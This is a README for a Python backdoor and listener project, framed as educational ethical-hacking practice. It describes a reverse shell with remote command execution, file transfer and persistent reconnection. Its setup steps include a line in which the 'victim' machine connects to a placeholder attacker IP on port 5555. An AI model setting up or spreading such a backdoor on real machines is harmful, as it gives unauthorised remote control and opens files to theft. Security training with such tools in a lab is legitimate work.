🐍 Python Backdoor & Listener Server

This project demonstrates how to create a simple backdoor and server listener using Python's socket and subprocess modules. It's built for educational and ethical hacking purposes, specifically for practicing reverse shell communication, file transfers, and remote command execution.

⚙️ Features

• Reverse shell from target to attacker
• Remote command execution on target machine
• Upload and download files between machines
• Persistent connection attempts from the backdoor
• JSON-based reliable communication
• Command-line shell interface for interaction

🚀 How to Use

1. On the Attacker's Machine (Server):

Edit the IP in server.py to match your local IP address:

sock.bind(('YOUR-IP-HERE', 5555))

Then run:

python server.py

2. On the Victim's Machine (Backdoor):

Edit the IP in backdoor.py to match the server's IP:

s.connect(('YOUR-IP-HERE', 5555))

Then run:

python backdoor.py
